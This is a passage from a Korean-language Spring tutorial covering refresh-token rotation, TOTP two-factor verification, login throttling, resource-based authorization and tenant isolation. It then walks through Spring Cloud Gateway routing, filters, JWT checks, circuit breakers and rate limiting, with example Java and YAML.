    // ② 정상 — 쓴 것으로 표시하고 같은 계열로 새로 발급
    t.setUsedAt(Instant.now());
    String next = issueRefresh(t.getUserId(), t.getFamilyId());
    return new TokenPair(issueAccess(t.getUserId()), next);
}
리프레시 토큰을 DB 에 원문으로 저장하지 마세요. DB 가 유출되면 전 사용자 계정이 그대로 열립니다. 비밀번호와 똑같이 해시를 저장하고 비교하세요 (수명이 짧고 엔트로피가 충분하므로 SHA-256 으로 충분합니다).

어디에 담아 보낼 것인가

localStorage
  • XSS 한 줄이면 토큰이 그대로 유출
  • 스크립트가 읽을 수 있는 곳에 두면 방어 수단이 없습니다
HttpOnly 쿠키
  • 스크립트가 읽지 못합니다
  • CSRF 대비가 필요 → SameSite + 토큰
ResponseCookie cookie = ResponseCookie.from("rt", refresh)
    .httpOnly(true)
    .secure(true)
    .sameSite("Lax")            // 다른 도메인 프런트면 "None" + secure
    .path("/auth")              // ★ 리프레시 경로에만 실려 나간다
    .maxAge(Duration.ofDays(14))
    .build();
res.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());

내 기기 목록 · 원격 로그아웃

@GetMapping("/me/sessions")
public List<SessionView> sessions(@AuthenticationPrincipal Long userId) {
    return repo.findActiveByUserId(userId).stream()
        .map(t -> new SessionView(t.getFamilyId(), t.getDeviceLabel(),
                                  t.getIp(), t.getLastSeenAt()))
        .toList();
}

@DeleteMapping("/me/sessions/{familyId}")
public void signOutDevice(@AuthenticationPrincipal Long userId,
                          @PathVariable String familyId) {
    repo.revokeFamilyOwnedBy(userId, familyId);   // 소유자 확인은 필수
}
“다른 기기에서 로그아웃”은 기능이 아니라 사고 대응 수단입니다. 비밀번호 변경 시 본인 기기를 제외한 전 계열 폐기를 기본 동작으로 두세요. 액세스 토큰이 15분짜리라면 최대 15분 뒤 완전히 차단됩니다 — 수명을 짧게 잡는 진짜 이유가 이것입니다.
SECURITY 12

2단계 인증 · 계정 보호

비밀번호만으로는 못 막습니다. 이미 다른 사이트에서 유출된 비밀번호로 로그인을 시도하는 공격(크리덴셜 스터핑)이 대부분이기 때문입니다.

TOTP — 라이브러리 없이 이해하기

// 인증 앱(Google Authenticator 등)은 표준 알고리즘입니다.
// 서버와 앱이 '같은 비밀 + 현재 시각'으로 같은 숫자를 만듭니다.
public boolean verify(String base32Secret, String code) throws GeneralSecurityException {
    byte[] key = new Base32().decode(base32Secret);
    long   now = Instant.now().getEpochSecond() / 30;   // 30초 창

    // 시계 오차를 감안해 앞뒤 한 칸씩 허용한다
    for (long w = now - 1; w <= now + 1; w++) {
        if (constantTimeEquals(code, totp(key, w))) return true;
    }
    return false;
}

private String totp(byte[] key, long counter) throws GeneralSecurityException {
    byte[] data = ByteBuffer.allocate(8).putLong(counter).array();
    Mac mac = Mac.getInstance("HmacSHA1");
    mac.init(new SecretKeySpec(key, "HmacSHA1"));
    byte[] h = mac.doFinal(data);

    int off = h[h.length - 1] & 0xF;                    // 동적 절단
    int bin = ((h[off] & 0x7F) << 24) | ((h[off+1] & 0xFF) << 16)
            | ((h[off+2] & 0xFF) << 8) | (h[off+3] & 0xFF);
    return String.format("%06d", bin % 1_000_000);
}
같은 코드를 두 번 받아 주면 안 됩니다. 30초 창 안에 중간자가 코드를 가로채 재사용할 수 있습니다. 사용한 (userId, counter) 를 기록해 두고 재사용을 거부하세요.

막는 것보다 중요한 것 — 잠금과 관측

// 로그인 실패를 사용자 기준 + IP 기준 두 축으로 센다
@Component @RequiredArgsConstructor
public class LoginGuard {
    private final StringRedisTemplate redis;

    public void check(String userKey, String ip) {
        if (count("u:" + userKey) >= 10 || count("i:" + ip) >= 50)
            throw new LockedException("too many attempts");
    }
    public void fail(String userKey, String ip) {
        bump("u:" + userKey, Duration.ofMinutes(15));
        bump("i:" + ip,      Duration.ofMinutes(15));
    }
    public void success(String userKey) { redis.delete("u:" + userKey); }
}
  • 계정 잠금은 그 자체가 공격 수단입니다 — 남의 계정을 일부러 잠글 수 있으니 영구 잠금은 피하고 시간 제한으로
  • “아이디가 없습니다”와 “비밀번호가 틀렸습니다”를 구분하지 마세요 — 가입 여부가 새어 나갑니다
  • 유출된 비밀번호 목록(k-anonymity API)과 대조해 가입·변경 시 거부
  • 새 기기·새 지역 로그인은 메일로 알림 — 사용자가 먼저 알아챕니다
다음 단계는 패스키(WebAuthn)입니다. 비밀번호와 OTP 를 둘 다 없애는 방향이고, Spring Security 6.4+ 는 webAuthn() 설정을 기본 제공합니다. 신규 서비스라면 처음부터 패스키를 함께 열어 두는 것을 권합니다.
SECURITY 13

권한 모델 — 역할로는 부족할 때

ROLE_ADMIN 하나로 시작한 프로젝트는 반드시 “이 팀 매니저는 자기 팀 문서만 수정 가능” 앞에서 무너집니다. 처음부터 자원 소유권을 넣어 설계하는 방법입니다.

역할(RBAC) → 속성(ABAC) 으로 넘어가는 지점

RBAC
“관리자면 다 된다” 권한이 사람에 붙습니다. 규칙이 단순해 빠르고, 역할이 10개를 넘지 않으면 충분합니다.
ABAC
“소유자거나 같은 부서면 된다” 권한이 사람 + 자원 + 상황의 조합으로 결정됩니다. 실제 업무 규칙은 거의 이쪽입니다.
ReBAC
“이 문서가 속한 폴더의 편집자면 된다” 관계를 따라가며 판단(Google Zanzibar 계열). 공유·상속이 있는 서비스라면 여기까지 옵니다.
// Spring Security 의 방식 — 표현식에 도메인 판단을 위임한다
@PreAuthorize("hasRole('ADMIN') or @docAuth.canEdit(#id, authentication)")
@PutMapping("/docs/{id}")
public DocView update(@PathVariable Long id, @RequestBody DocForm f) { ... }

@Component("docAuth")
@RequiredArgsConstructor
public class DocAuthorizer {
    private final DocRepository docs;

    public boolean canEdit(Long docId, Authentication auth) {
        Long me = ((AppUser) auth.getPrincipal()).id();
        return docs.findOwnerAndTeam(docId)
            .map(d -> d.ownerId().equals(me) || d.editorIds().contains(me))
            .orElse(false);
    }
}
목록 조회에서 가장 많이 뚫립니다. 상세 API 는 권한을 확인해 놓고 목록 API 는 전부 내려주는 실수가 흔합니다. 목록은 쿼리 단계에서 걸러야 합니다 — where owner_id = :me or team_id in (:myTeams).

멀티테넌시 — 남의 회사 데이터가 보이는 사고

// 요청마다 테넌트를 확정하고, 그 밖으로는 아예 못 나가게 만든다
@Component
public class TenantFilter extends OncePerRequestFilter {
    protected void doFilterInternal(HttpServletRequest req,
            HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
        try {
            AppUser u = current();                     // 토큰에서 꺼낸다
            TenantContext.set(u.tenantId());           // ★ 헤더로 받지 않는다
            chain.doFilter(req, res);
        } finally {
            TenantContext.clear();                     // 스레드 재사용 주의
        }
    }
}

// Hibernate 필터로 모든 쿼리에 조건을 강제한다 — 빼먹을 수 없게
// 단, 필터는 기본이 꺼짐입니다 — 요청마다(세션마다)
//   session.enableFilter("tenant").setParameter("tid", TenantContext.get());
// 를 공통 지점(AOP·인터셉터)에서 켜 줘야 실제로 걸립니다
@FilterDef(name = "tenant", parameters = @ParamDef(name = "tid", type = Long.class))
@Filter(name = "tenant", condition = "tenant_id = :tid")
@Entity public class Document { ... }
  • 테넌트 id 를 요청 파라미터·헤더로 받지 마세요 — 값 하나 바꾸면 남의 데이터가 열립니다. 토큰에서만 꺼냅니다
  • where 절을 개발자가 매번 쓰게 두면 언젠가 빠집니다. Hibernate 필터·RLS(PostgreSQL) 처럼 기본이 차단인 장치를 쓰세요
  • ThreadLocal 은 반드시 finally 에서 정리 — 스레드 풀이 재사용하면 다음 요청이 남의 테넌트로 동작합니다
  • 비동기·@Async·가상 스레드로 넘길 때 컨텍스트 전파를 확인하세요
DB 차원 격리(PostgreSQL Row Level Security)는 🗄️ 데이터베이스 가이드에서 다룹니다 — 애플리케이션 버그가 나도 DB 가 마지막으로 한 번 더 막아 주는 구조입니다.
SPRING CLOUD GATEWAY · MSA 관문

모든 요청이
먼저 지나는
한 곳

서비스가 여러 개로 쪼개지면 인증·로깅·라우팅을 각 서비스마다 만들 수 없습니다. 게이트웨이는 그 공통 관심사를 한 곳에 모으는 자리입니다. WebFlux 기반이라 적은 스레드로 많은 연결을 버팁니다.

12SECTIONS
1진입점
N백엔드 서비스
0중복 인증 코드
GW 01

게이트웨이가 필요한 이유

서비스가 하나뿐이라면 필요 없습니다. 여러 개가 되는 순간 이야기가 달라집니다.

게이트웨이 없이

브라우저 ──→ order-service   (인증 코드 복사)
        ──→ user-service    (인증 코드 복사)
        ──→ payment-service (인증 코드 복사)

문제
· 서비스마다 인증·로깅·CORS 를 중복 구현
· 프론트엔드가 주소를 전부 알아야 함
· 서비스 주소가 바뀌면 클라이언트도 배포
· 서비스가 전부 외부에 노출

게이트웨이가 있으면

브라우저 ──→ [Gateway] ──→ order-service
                       ──→ user-service
                       ──→ payment-service

· 인증·로깅·Rate Limit 을 한 곳에서
· 클라이언트는 게이트웨이 주소 하나만
· 내부 서비스는 외부에 노출되지 않음
· 서킷 브레이커로 장애 전파 차단

게이트웨이가 하는 일

  • 라우팅 — 경로·헤더를 보고 어느 서비스로 보낼지 결정
  • 인증·인가 — 토큰을 여기서 한 번만 검증
  • Rate Limit — 과도한 요청 차단
  • 서킷 브레이커 — 죽은 서비스로 계속 보내지 않기
  • 로깅·추적 — 요청 ID 를 심어 전 구간 추적
  • 응답 변환 — 헤더 추가·제거
반응형(WebFlux) 게이트웨이 — 이 탭의 기본
implementation("org.springframework.cloud:spring-cloud-starter-gateway-server-webflux")
⚠️ WebFlux 기반이라 spring-boot-starter-webmvc 와 함께 쓰면 안 됩니다.

서블릿(MVC) 게이트웨이 — 블로킹 필터를 써야 할 때
implementation("org.springframework.cloud:spring-cloud-starter-gateway-server-webmvc")
spring-cloud-starter-gateway 는 deprecated 입니다. 구현체를 이름에 드러내는 -gateway-server-webflux · -gateway-server-webmvc 로 갈라졌습니다.
프로퍼티 접두사도 함께 바뀌었으니 의존성만 갈아 끼우면 설정이 조용히 무시될 수 있습니다. 옮기는 동안 runtimeOnly("org.springframework.boot:spring-boot-properties-migrator") 를 넣어 두면 기동 로그가 바뀐 키를 전부 알려 줍니다.
“게이트웨이엔 블로킹 코드를 넣으면 안 된다” 는 이제 반쪽 진술입니다. 그건 WebFlux 기반일 때의 이야기고, MVC 기반 게이트웨이를 고르면 사정이 다릅니다.
서블릿 게이트웨이 + 가상 스레드(spring.threads.virtual.enabled=true) 조합이면 DB 조회나 외부 인증 호출 같은 블로킹 필터를 그냥 써도 됩니다 — 요청 하나가 막혀도 가상 스레드만 대기하고 캐리어 스레드는 반납됩니다.
팀이 리액티브에 익숙하지 않다면 MVC 게이트웨이가 대체로 더 안전한 선택입니다. 극한의 동시 연결 수·SSE 프록시가 필요할 때만 WebFlux 로 가세요.
서비스가 1~2개라면 도입하지 마세요. 운영할 컴포넌트가 하나 늘고, 여기가 단일 장애점이 됩니다. Nginx 로 충분한 경우도 많습니다.
게이트웨이 — 입구를 하나로 모읍니다 없을 때 클라이언트가 서비스 주소를 다 압니다 인증 · CORS · 로깅이 서비스마다 중복 서비스가 늘 때마다 클라이언트도 바뀝니다 있을 때 클라이언트는 한 주소만 압니다 인증 · 제한 · 로깅을 한 곳에서 뒤쪽 구조를 바꿔도 밖은 그대로 게이트웨이 주문 서비스 회원 서비스 결제 서비스 치르는 비용 — 여기가 죽으면 전부 멈춥니다. 반드시 여러 대로 띄우세요 그리고 업무 로직을 넣기 시작하면 다시 하나의 큰 덩어리가 됩니다 — 통과와 공통 처리만 두세요
게이트웨이의 역할은 기능이 아니라 공통 관심사를 한 곳에 모으는 것입니다.
GW 02

라우팅 설정

YAML 로도, 자바 코드로도 정의할 수 있습니다.

YAML 방식

spring:
  cloud:
    gateway:
      server:
        webflux:              # ★ 2025.x 부터 접두사가 spring.cloud.gateway.server.webflux
          routes:
            - id: order-service
              uri: http://localhost:8081          # 고정 주소
              predicates:
                - Path=/api/orders/**
              filters:
                - StripPrefix=1                    # /api/orders/1 -> /orders/1
                - AddRequestHeader=X-Gateway, true

            - id: user-service
              uri: lb://user-service               # 서비스 디스커버리 사용
              predicates:
                - Path=/api/users/**
                - Method=GET,POST
              filters:
                - name: CircuitBreaker
                  args:
                    name: userCB
                    fallbackUri: forward:/fallback/user

            - id: legacy
              uri: http://legacy.internal:9090
              predicates:
                - Path=/legacy/**
                - Header=X-Legacy, true

          default-filters:                          # 모든 라우트에 적용
            - AddResponseHeader=X-Powered-By, gateway
          globalcors:
            cors-configurations:
              '[/**]':
                allowedOrigins: "https://myapp.com"
                allowedMethods: "*"

자바 코드 방식 — 조건이 복잡할 때

@Configuration
public class GatewayConfig {

    @Bean
    public RouteLocator routes(RouteLocatorBuilder builder) {
        return builder.routes()

            // 카나리 — 헤더가 있으면 새 버전으로
            // ★ 같은 Path 의 일반 라우트보다 먼저 등록해야 합니다 (아래에 두면 영영 안 걸림)
            .route("order-canary", r -> r
                .path("/api/orders/**")
                .and().header("X-Canary", "true")
                .uri("lb://order-service-v2"))

            .route("order", r -> r
                .path("/api/orders/**")
                .filters(f -> f
                    .stripPrefix(1)
                    .addRequestHeader("X-Source", "gateway")
                    .retry(c -> c.setRetries(3)
                                 .setMethods(HttpMethod.GET))
                    .circuitBreaker(c -> c.setName("orderCB")
                                          .setFallbackUri("forward:/fallback/order")))
                .uri("lb://order-service"))

            // 가중치 기반 분배 (90:10)
            .route("v1", r -> r.path("/api/**")
                .and().weight("group", 90).uri("lb://svc-v1"))
            .route("v2", r -> r.path("/api/**")
                .and().weight("group", 10).uri("lb://svc-v2"))

            .build();
    }
}
라우트는 위에서부터 매칭됩니다. 구체적인 조건(카나리 등)을 위에 두세요. /actuator/gateway/routes 로 현재 등록된 라우트를 확인할 수 있습니다.
GW 03

Predicate 총정리

“이 요청을 이 라우트로 보낼지” 판단하는 조건들입니다.

Predicate예시설명
PathPath=/api/orders/**가장 많이 씁니다. Ant 패턴
MethodMethod=GET,POSTHTTP 메서드
HeaderHeader=X-Version, v2헤더 존재·값 (정규식 가능)
QueryQuery=type, admin쿼리 파라미터
CookieCookie=session, .+쿠키
HostHost=**.myapp.com도메인 기반 (멀티 테넌트)
RemoteAddrRemoteAddr=10.0.0.0/8IP 대역 (내부망 전용 API)
After / Before / BetweenAfter=2026-08-03T00:00+09:00[Asia/Seoul]시간 기반 (점검·이벤트 오픈)
WeightWeight=group, 90가중치 분배 (카나리)
# 조건 여러 개는 AND 로 묶입니다
- id: admin-internal
  uri: lb://admin-service
  predicates:
    - Path=/api/admin/**
    - RemoteAddr=10.0.0.0/8        # 내부망에서만
    - Header=X-Admin-Key, .+       # 관리 키가 있어야

# 커스텀 Predicate — 기본으로 안 되는 조건
@Component
public class TenantRoutePredicateFactory
        extends AbstractRoutePredicateFactory<TenantRoutePredicateFactory.Config> {

    public TenantRoutePredicateFactory() { super(Config.class); }

    // "- Tenant=acme" 처럼 축약형으로 쓰려면 값이 들어갈 필드 순서를 알려 줘야 합니다
    // (빠뜨리면 tenant 가 null 로 남아 아래 equals 에서 NPE)
    @Override
    public List<String> shortcutFieldOrder() { return List.of("tenant"); }

    @Override
    public Predicate<ServerWebExchange> apply(Config config) {
        return exchange -> {
            String tenant = exchange.getRequest().getHeaders().getFirst("X-Tenant");
            return config.getTenant().equals(tenant);
        };
    }

    @Data public static class Config { private String tenant; }
}
// 사용: - Tenant=acme
GW 04

필터 총정리

요청·응답을 지나가면서 바꾸는 장치입니다.

필터하는 일
■ 경로 조작
StripPrefix=1앞 경로 n개 제거 — /api/orders/1 → /orders/1
PrefixPath=/v1경로 앞에 추가
RewritePath=/api/(?<s>.*), /$\{s}정규식으로 경로 재작성
SetPath=/orders/{id}경로 직접 지정
■ 헤더
AddRequestHeader=K, V요청 헤더 추가
RemoveRequestHeader=Cookie헤더 제거 (내부로 안 넘길 것)
AddResponseHeader=K, V응답 헤더 추가
SetRequestHostHeaderHost 헤더 변경
■ 안정성
CircuitBreaker장애 시 폴백
Retry재시도
RequestRateLimiter요청 수 제한
RequestSize요청 크기 제한
■ 기타
Redirect=302, https://…리다이렉트
SetStatus=401상태 코드 강제
필터는 나갈 때와 돌아올 때 두 번 지납니다 로깅 필터 가장 바깥 인증 필터 여기서 막히면 끝 헤더 · 경로 변경 요청 ID 심기 뒤쪽 서비스 실제 처리 응답은 역순으로 돌아 나옵니다 — 소요 시간 기록과 응답 헤더 손질은 여기서 순서 값이 작을수록 앞쪽입니다 — 인증은 앞에, 로깅은 바깥에 순서를 잘못 두면 인증이 안 된 요청도 로그에 정상으로 남거나, 인증 전에 헤더가 붙습니다 전역 필터는 모든 경로에, 라우트 필터는 그 경로에만 걸립니다 — 공통은 전역으로 두세요 응답 본문을 건드리는 필터는 스트리밍을 깨뜨릴 수 있습니다 — 꼭 필요할 때만 쓰세요
필터를 만들 때 첫 질문은 나갈 때인가 돌아올 때인가입니다.
GW 05

커스텀 필터

실무에서 가장 많이 만드는 것 — 인증 검사와 요청 추적입니다.

글로벌 필터 — 모든 요청에

@Component
@Slf4j
public class TraceGlobalFilter implements GlobalFilter, Ordered {

    @Override
    public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
        String traceId = UUID.randomUUID().toString().substring(0, 8);
        long start = System.currentTimeMillis();

        // 백엔드로 추적 ID 를 넘긴다
        ServerHttpRequest request = exchange.getRequest().mutate()
                .header("X-Trace-Id", traceId)
                .build();

        log.info("[{}] → {} {}", traceId,
                request.getMethod(), request.getURI().getPath());

        return chain.filter(exchange.mutate().request(request).build())
                .then(Mono.fromRunnable(() -> {
                    long took = System.currentTimeMillis() - start;
                    log.info("[{}] ← {} ({}ms)", traceId,
                            exchange.getResponse().getStatusCode(), took);
                }));
    }

    @Override
    public int getOrder() { return Ordered.HIGHEST_PRECEDENCE; }   // 가장 먼저
}

라우트별 필터 — JWT 검사 ★

@Component
public class AuthGatewayFilterFactory
        extends AbstractGatewayFilterFactory<AuthGatewayFilterFactory.Config> {

    private final JwtTokenProvider tokenProvider;

    public AuthGatewayFilterFactory(JwtTokenProvider p) {
        super(Config.class);
        this.tokenProvider = p;
    }

    @Override
    public GatewayFilter apply(Config config) {
        return (exchange, chain) -> {
            String token = resolve(exchange.getRequest());

            if (token == null || !tokenProvider.validate(token)) {
                return unauthorized(exchange);
            }

            Claims claims = tokenProvider.parse(token);

            // 검증된 사용자 정보를 헤더로 백엔드에 전달 ★
            // → 각 서비스는 토큰을 다시 파싱할 필요가 없다
            var request = exchange.getRequest().mutate()
                    .header("X-User-Id", claims.getSubject())
                    .header("X-User-Roles", String.join(",", roles(claims)))
                    .build();

            return chain.filter(exchange.mutate().request(request).build());
        };
    }

    private Mono<Void> unauthorized(ServerWebExchange exchange) {
        var res = exchange.getResponse();
        res.setStatusCode(HttpStatus.UNAUTHORIZED);
        res.getHeaders().setContentType(MediaType.APPLICATION_JSON);
        byte[] body = """
            {"code":"A001","message":"인증이 필요합니다"}
            """.getBytes(StandardCharsets.UTF_8);
        return res.writeWith(Mono.just(res.bufferFactory().wrap(body)));
    }

    public static class Config { }
}
filters:
  - Auth                # 클래스명에서 GatewayFilterFactory 를 뗀 이름
백엔드 서비스는 게이트웨이만 신뢰해야 합니다. X-User-Id 헤더를 그대로 믿는데 서비스가 외부에 노출돼 있으면 누구나 위조할 수 있습니다. 내부망에만 두고, 게이트웨이에서 클라이언트가 보낸 X-User-* 헤더는 제거하세요.
GW 06

서킷 브레이커

한 서비스가 죽었을 때 전체가 같이 죽는 것을 막습니다.

3가지 상태

CLOSED
정상요청을 그대로 전달하며 실패율을 셉니다.
▼ 실패율이 임계치를 넘으면
OPEN
차단호출 자체를 하지 않고 즉시 폴백. 죽은 서비스를 더 때리지 않습니다.
▼ 일정 시간 후
HALF_OPEN
탐색몇 개만 보내 봅니다. 성공하면 CLOSED, 실패하면 다시 OPEN.
implementation("org.springframework.cloud:spring-cloud-starter-circuitbreaker-reactor-resilience4j")
resilience4j:
  circuitbreaker:
    configs:
      default:
        slidingWindowSize: 20              # 최근 20건으로 판단
        minimumNumberOfCalls: 10           # 10건은 모여야 판단 시작
        failureRateThreshold: 50           # 실패 50% 넘으면 OPEN
        slowCallDurationThreshold: 2s
        slowCallRateThreshold: 60
        waitDurationInOpenState: 10s       # 10초 후 HALF_OPEN
        permittedNumberOfCallsInHalfOpenState: 3
    instances:
      orderCB:
        baseConfig: default
      userCB:
        baseConfig: default
        failureRateThreshold: 30           # 더 민감하게

  timelimiter:
    configs:
      default:
        timeoutDuration: 3s
// 폴백 컨트롤러
@RestController
public class FallbackController {

    @GetMapping("/fallback/order")
    public ResponseEntity<Map<String, Object>> orderFallback() {
        return ResponseEntity.status(HttpStatus.SERVICE_UNAVAILABLE)
                .body(Map.of(
                    "code", "S001",
                    "message", "주문 서비스가 일시적으로 응답하지 않습니다",
                    "retryAfter", 10));
    }
}
죽은 서비스를 계속 부르면 우리도 같이 죽습니다 CLOSED 평소대로 호출 실패율 50% 초과 OPEN 부르지 않고 즉시 대체 응답 10초 경과 HALF-OPEN 몇 건만 시험 호출 성공하면 다시 CLOSED 대체 응답(fallback)을 반드시 준비합니다 캐시된 값 · 빈 목록 · "잠시 후 다시" 안내 추천 목록이 안 나와도 상품 페이지는 열려야 합니다 핵심 기능과 부가 기능을 나누는 것이 설계의 시작입니다 함께 걸어야 의미가 있습니다 타임아웃 — 없으면 실패로 세지도 못하고 매달립니다 벌크헤드 — 호출별 동시 실행 수를 나눠 격리 재시도와 함께 쓸 때는 순서와 횟수를 주의하세요
서킷 브레이커의 목적은 남의 장애가 우리 자원을 다 먹는 것을 막는 것입니다.
추천 서비스가 멈춘 뒤 우리 서버의 바쁜 스레드 수 — 최대 200개 0 100 200 스레드 0 5 10 15 20 25 30 s 무응답 시작 브레이커 없음 — 200개 전부 매달림 · 사이트 전체 정지 OPEN — 새 호출은 즉시 대체 응답 HALF-OPEN 시험 몇 건 브레이커 있음 타임아웃 5초 × 초당 40건 = 스레드 200개 — 기다리는 호출이 곧 우리 자원입니다 대체 응답(fallback)이 있어야 OPEN 동안에도 상품 페이지가 열립니다
서킷 브레이커의 목적은 남의 장애가 우리 자원을 다 먹는 것을 막는 것입니다.
GW 07

Rate Limit · 로드밸런싱

과도한 요청을 막고, 여러 인스턴스에 골고루 분배합니다.

Rate Limit — 토큰 버킷

implementation("org.springframework.boot:spring-boot-starter-data-redis-reactive")
- id: api
  uri: lb://api-service
  predicates:
    - Path=/api/**
  filters:
    - name: RequestRateLimiter
      args:
        redis-rate-limiter.replenishRate: 10    # 초당 10개 채움
        redis-rate-limiter.burstCapacity: 20    # 순간 최대 20개
        redis-rate-limiter.requestedTokens: 1
        key-resolver: "#{@userKeyResolver}"
// 무엇을 기준으로 셀 것인가
// KeyResolver 빈이 둘 이상이면 하나에 @Primary 가 필요합니다 —
// 없으면 기본 RequestRateLimiter 필터 팩토리가 어느 것을 쓸지 몰라 기동에 실패합니다
@Bean
@Primary
public KeyResolver userKeyResolver() {
    return exchange -> {
        // ★ Auth 필터가 검증 뒤 넣은 값만 믿습니다 — 클라이언트가 보낸 X-User-Id 는
        //   default-filters 에서 지워 두세요(g08). 안 지우면 값을 바꿔 가며 한도를 피합니다
        String userId = exchange.getRequest().getHeaders().getFirst("X-User-Id");
        return Mono.just(userId != null ? userId : ipOf(exchange));
    };
}

@Bean
public KeyResolver ipKeyResolver() {
    return exchange -> Mono.just(
            exchange.getRequest().getRemoteAddress().getAddress().getHostAddress());
}
// 한도를 넘으면 429 Too Many Requests

서비스 디스커버리 + 로드밸런싱

# 방법 1) Eureka
eureka:
  client:
    service-url:
      defaultZone: http://eureka:8761/eureka/

spring:
  cloud:
    gateway:
      server:
        webflux:
          discovery:
            locator:
              enabled: true          # 등록된 서비스를 자동 라우팅
              lower-case-service-id: true
          routes:
            - id: order
              uri: lb://order-service   # lb:// = 로드밸런싱

# 방법 2) 쿠버네티스라면 Service 이름을 그대로
#   uri: http://order-service:8080
// 커스텀 로드밸런싱 (기본은 라운드로빈)
// ★ @Configuration 을 붙이지 않은 클래스에 두고
//   @LoadBalancerClient(name = "order-service", configuration = 이클래스.class) 로 연결합니다.
//   메인 컨텍스트에 올리면 서비스별 하위 컨텍스트가 아니라서 name 이 null 이 됩니다
@Bean
ReactorLoadBalancer<ServiceInstance> randomLoadBalancer(
        Environment env, LoadBalancerClientFactory factory) {
    String name = env.getProperty(LoadBalancerClientFactory.PROPERTY_NAME);
    return new RandomLoadBalancer(
            factory.getLazyProvider(name, ServiceInstanceListSupplier.class), name);
}
Rate Limit 기준 정하기 — 로그인 API 는 IP 기준으로 빡빡하게(무차별 대입 방지), 일반 API 는 사용자 기준으로 넉넉하게. 같은 값으로 전부 묶으면 회사 내부에서 NAT 로 나가는 사용자들이 서로 막힙니다.
GW 08

인증 연동 · 전체 구성

실제로 돌아가는 게이트웨이 설정 한 벌입니다.

server:
  port: 8080

spring:
  application:
    name: api-gateway
  cloud:
    gateway:
      server:
        webflux:
          default-filters:
            # 클라이언트가 위조해 보낸 내부 헤더를 반드시 제거 ★
            - RemoveRequestHeader=X-User-Id
            - RemoveRequestHeader=X-User-Roles
            - AddResponseHeader=X-Gateway, api-gateway

          routes:
            # 인증 불필요
            - id: auth
              uri: lb://auth-service
              predicates:
                - Path=/api/auth/**
              filters:
                - StripPrefix=1
                - name: RequestRateLimiter          # 로그인은 빡빡하게
                  args:
                    redis-rate-limiter.replenishRate: 3
                    redis-rate-limiter.burstCapacity: 5
                    key-resolver: "#{@ipKeyResolver}"

            # 인증 필요
            - id: order
              uri: lb://order-service
              predicates:
                - Path=/api/orders/**
              filters:
                - StripPrefix=1
                - Auth                               # 커스텀 JWT 필터
                - name: CircuitBreaker
                  args:
                    name: orderCB
                    fallbackUri: forward:/fallback/order
                - name: Retry
                  args:
                    retries: 2
                    methods: GET
                    backoff:
                      firstBackoff: 100ms
                      maxBackoff: 500ms

            # 관리자 — 내부망에서만
            - id: admin
              uri: lb://admin-service
              predicates:
                - Path=/api/admin/**
                - RemoteAddr=10.0.0.0/8
              filters:
                - StripPrefix=1
                - Auth

          httpclient:
            connect-timeout: 2000
            response-timeout: 10s
            pool:
              max-connections: 500

management:
  endpoints:
    web:
      exposure:
        include: health,gateway,metrics
logging:
  level:
    org.springframework.cloud.gateway: INFO
게이트웨이 운영 주의
① 단일 장애점입니다 — 반드시 2대 이상 띄우세요.
② 블로킹 코드를 넣지 마세요 — WebFlux 기반이라 한 요청이 막으면 전체가 멈춥니다. DB 조회가 필요하면 R2DBC 나 Redis 리액티브 클라이언트를 쓰세요.
③ 타임아웃을 반드시 설정하세요 — 백엔드가 느려지면 게이트웨이 커넥션이 고갈됩니다.
④ 응답 본문을 통째로 읽는 필터는 메모리를 먹습니다. 꼭 필요할 때만.
GW 09

MSA 인프라 — 디스커버리 · 설정 · 추적

서비스가 열 개가 되면 주소·설정·로그를 사람이 관리할 수 없습니다.

① 서비스 디스커버리 — 주소를 이름으로

주소를 고정으로 적으면

  uri: http://10.0.1.24:8081
  → 서버가 늘거나 IP 가 바뀌면 게이트웨이를 다시 배포해야 합니다
  → 오토스케일과 근본적으로 맞지 않습니다

이름으로 부르면

  uri: lb://order-service
  → 레지스트리에 등록된 인스턴스 목록을 받아 알아서 분산
  → 죽은 인스턴스는 목록에서 빠집니다
선택지언제 씁니다
Kubernetes ServiceK8s 를 쓴다면 이미 있습니다. 별도 레지스트리 없이 DNS 이름으로 부르면 끝 — 요즘 기본
EurekaK8s 가 아닌 환경(온프레미스 VM). 국내 SI·금융권에 여전히 많습니다
Consul · Nacos디스커버리 + 설정 저장을 함께
# Eureka 를 쓰는 경우
eureka:
  client:
    service-url:
      defaultZone: http://eureka1:8761/eureka/,http://eureka2:8762/eureka/
  instance:
    prefer-ip-address: true
    lease-renewal-interval-in-seconds: 10     # 하트비트 주기

spring:
  cloud:
    gateway:
      server:
        webflux:
          discovery:
            locator:
              enabled: true          # 등록된 서비스로 라우트 자동 생성
              lower-case-service-id: true
K8s 환경이라면 Eureka 를 넣지 마세요. 같은 일을 하는 계층이 두 개가 되어 장애 원인만 늘어납니다. http://order-service.default.svc.cluster.local 로 부르면 됩니다.

② 중앙 설정 — Config Server

문제: 서비스 10개 × 환경 4개 = 설정 파일 40개
      DB 비밀번호 하나 바꾸는 데 10번 배포

해결: 설정을 Git 저장소 한 곳에 두고 기동 시 받아 갑니다
      config-repo/
        order-service-prod.yml
        order-service-dev.yml
        application-prod.yml        ← 공통

  변경 → /actuator/refresh (또는 Spring Cloud Bus) → 재배포 없이 반영
K8s 라면 ConfigMap·Secret 으로 충분한 경우가 많습니다. Config Server 는 운영할 컴포넌트가 하나 더 느는 선택입니다. 여기가 죽으면 모든 서비스가 기동에 실패하므로 이중화가 필수입니다. 비밀값은 어느 쪽이든 Vault·KMS·Secret 에 두고 Git 에는 절대 넣지 마세요.

③ 분산 추적 — 게이트웨이가 시작점

# 게이트웨이와 모든 서비스에 동일하게
management:
  tracing:
    sampling:
      probability: 0.1        # 운영 10%
  zipkin:
    tracing:
      endpoint: http://tempo:9411/api/v2/spans
// 요청 ID 를 심어 두면 사용자 문의 대응이 쉬워집니다
@Bean
GlobalFilter requestIdFilter() {
    return (exchange, chain) -> {
        String rid = exchange.getRequest().getHeaders()
                .getFirst("X-Request-Id");
        if (rid == null) rid = UUID.randomUUID().toString();

        var mutated = exchange.getRequest().mutate()
                .header("X-Request-Id", rid).build();

        exchange.getResponse().getHeaders().add("X-Request-Id", rid);  // 응답에도
        return chain.filter(exchange.mutate().request(mutated).build());
    };
}
